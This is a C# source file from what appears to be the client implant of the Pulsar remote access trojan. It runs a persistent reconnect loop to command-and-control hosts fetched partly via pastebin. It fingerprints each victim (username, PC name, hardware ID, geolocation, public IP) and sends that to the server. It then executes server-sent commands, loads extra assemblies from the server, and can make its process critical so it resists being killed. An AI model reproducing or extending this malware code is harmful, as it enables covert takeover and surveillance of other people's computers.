PulsarK-main/Pulsar.Client/Networking/PulsarClient.cs

using NAudio.CoreAudioApi;
using Pulsar.Client.Helper;
using Pulsar.Client.IO;
using Pulsar.Client.IpGeoLocation;
using Pulsar.Client.User;
using Pulsar.Common.DNS;
using Pulsar.Common.Helpers;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages;
using Pulsar.Common.Utilities;
using Pulsar.Client.Config;
using System;
using System.Diagnostics;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
using Pulsar.Common.UAC;
using Pulsar.Client.Utilities;
using Pulsar.Common.Networking;

namespace Pulsar.Client.Networking
{
    public class PulsarClient : Client, IDisposable
    {
        /// <summary>
        /// Used to keep track if the client has been identified by the server.
        /// </summary>
        private bool _identified;

        /// <summary>
        /// Indicates whether this client already requested deferred assemblies for the current session.
        /// </summary>
        private bool _requestedDeferredAssemblies;

        /// <summary>
        /// The hosts manager which contains the available hosts to connect to.
        /// </summary>
        private readonly HostsManager _hosts;

        /// <summary>
        /// Random number generator to slightly randomize the reconnection delay.
        /// </summary>
        private readonly SafeRandom _random;

        /// <summary>
        /// Create a <see cref="_token"/> and signals cancellation.
        /// </summary>
        private readonly CancellationTokenSource _tokenSource;

        /// <summary>
        /// The token to check for cancellation.
        /// </summary>
        private readonly CancellationToken _token;

    /// <summary>
    /// Indicates that shutdown was requested for the connect loop.
    /// </summary>
    private volatile bool _shutdownRequested;

    /// <summary>
    /// Tracks whether the instance was disposed to avoid double cleanup.
    /// </summary>
    private bool _disposed;

        /// <summary>
        /// Initializes a new instance of the <see cref="PulsarClient"/> class.
        /// </summary>
        /// <param name="hostsManager">The hosts manager which contains the available hosts to connect to.</param>
        /// <param name="serverCertificate">The server certificate.</param>
        public PulsarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
            : base(serverCertificate)
        {
            _hosts = hostsManager;
            _random = new SafeRandom();
            base.ClientState += OnClientState;
            base.ClientRead += OnClientRead;
            base.ClientFail += OnClientFail;
            _tokenSource = new CancellationTokenSource();
            _token = _tokenSource.Token;
        }

        /// <summary>
        /// Connection loop used to reconnect and keep the connection open.
        /// </summary>
        public void ConnectLoop()
        {
            while (!_shutdownRequested && !_token.IsCancellationRequested)
            {
                if (!Connected)
                {
                    var host = _hosts.GetNextHost();

                    if (host?.IpAddress == null)
                    {
                        Debug.WriteLine("Failed to get a valid host to connect to. Will retry after delay.");
                        
                        // Check pastebin status to determine appropriate wait time
                        var (IsReachable, SuggestedWaitTimeMs) = _hosts.GetPastebinStatus();
                        int waitTime;
                        
                        if (!IsReachable && SuggestedWaitTimeMs > 0)
                        {
                            // Use suggested wait time for pastebin failures (5+ minutes to avoid rate limiting)
                            waitTime = SuggestedWaitTimeMs;
                            Debug.WriteLine($"Pastebin unreachable, waiting {waitTime / 1000} seconds before retry");
                        }
                        else
                        {
                            // Use normal reconnect delay when pastebin is reachable but no hosts available
                            waitTime = Settings.RECONNECTDELAY;
                        }
                        
                        Thread.Sleep(waitTime + _random.Next(250, 750));
                        continue;
                    }

                    try
                    {
                        base.Connect(host.IpAddress, host.Port);
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine($"Connection attempt failed: {ex.Message}");
                    }
                }

                while (Connected)
                {
                    if (WaitForShutdownSignal(1000))
                    {
                        Disconnect();
                        return;
                    }
                }

                if (_shutdownRequested || _token.IsCancellationRequested)
                {
                    Disconnect();
                    return;
                }

                if (WaitForShutdownSignal(Settings.RECONNECTDELAY + _random.Next(250, 750)))
                {
                    Disconnect();
                    return;
                }
            }
        }

        private void OnClientRead(Client client, IMessage message, int messageLength)
        {
            if (!_identified)
            {
                if (message is ClientIdentificationResult reply)
                {
                    _identified = reply.Result;
                    if (_identified)
                    {
                        RequestDeferredAssemblies();
                    }
                }
                return;
            }

            MessageHandler.Process(client, message);
        }

        private void OnClientFail(Client client, Exception ex)
        {
            Debug.WriteLine($"Client Fail - Exception Message: {ex.Message}");
            client.Disconnect();
        }

        private void OnClientState(Client client, bool connected)
        {
            _identified = false; // always reset identification
            _requestedDeferredAssemblies = false;

            if (connected)
            {
                // Notify hosts manager of successful connection for pastebin timing logic
                _hosts.NotifySuccessfulConnection();
                
                // send client identification once connected

                var geoInfo = GeoInformationFactory.GetGeoInformation();
                var userAccount = new UserAccount();

                var identification = new ClientIdentification
                {
                    Version = Settings.ReportedVersion,
                    OperatingSystem = PlatformHelper.FullName,
                    AccountType = userAccount.Type.ToString(),
                    Country = geoInfo.Country,
                    CountryCode = geoInfo.CountryCode,
                    ImageIndex = geoInfo.ImageIndex,
                    Id = HardwareDevices.HardwareId,
                    Username = userAccount.UserName,
                    PcName = SystemHelper.GetPcName(),
                    Tag = Settings.TAG,
                    EncryptionKey = Settings.ENCRYPTIONKEY,
                    Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE),
                    PublicIP = geoInfo.IpAddress ?? "Unknown"
                };

                client.Send(identification);
            }
        }

        private void RequestDeferredAssemblies()
        {
            if (_requestedDeferredAssemblies)
            {
                return;
            }

            var missingAssemblies = DeferredAssemblyManager.GetMissingAssemblies();
            if (missingAssemblies == null || missingAssemblies.Length == 0)
            {
                return;
            }

            try
            {
                Send(new RequestDeferredAssemblies
                {
                    Assemblies = missingAssemblies,
                    ClientVersion = Settings.ReportedVersion
                });

                _requestedDeferredAssemblies = true;
                Debug.WriteLine($"Requested {missingAssemblies.Length} deferred assemblies from server.");
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"Failed to request deferred assemblies: {ex.Message}");
            }
        }

        /// <summary>
        /// Stops the connection loop and disconnects the connection.
        /// </summary>
        public void Exit()
        {
            if (Settings.MAKEPROCESSCRITICAL && UAC.IsAdministrator())
            {
                NativeMethods.RtlSetProcessIsCritical(0, 0, 0);
            }

            _shutdownRequested = true;
            _tokenSource.Cancel();
            Disconnect();
        }

        protected override void Dispose(bool disposing)
        {
            if (!disposing || _disposed)
            {
                return;
            }

            _shutdownRequested = true;
            _disposed = true;

            _tokenSource.Cancel();

            try
            {
                base.Dispose(disposing);
            }
            finally
            {
                _tokenSource.Dispose();
            }
        }

        /// <summary>
        /// Waits for either a shutdown request/cancellation or until the specified timeout elapses.
        /// </summary>
        /// <param name="timeoutMs">Timeout in milliseconds.</param>
        /// <returns><c>true</c> if shutdown was requested; otherwise <c>false</c>.</returns>
        private bool WaitForShutdownSignal(int timeoutMs)
        {
            const int slice = 100;
            var waited = 0;

            while (waited < timeoutMs && !_shutdownRequested && !_token.IsCancellationRequested)
            {
                var delay = Math.Min(slice, timeoutMs - waited);
                Thread.Sleep(delay);
                waited += delay;
            }

            return _shutdownRequested || _token.IsCancellationRequested;
        }
    }
}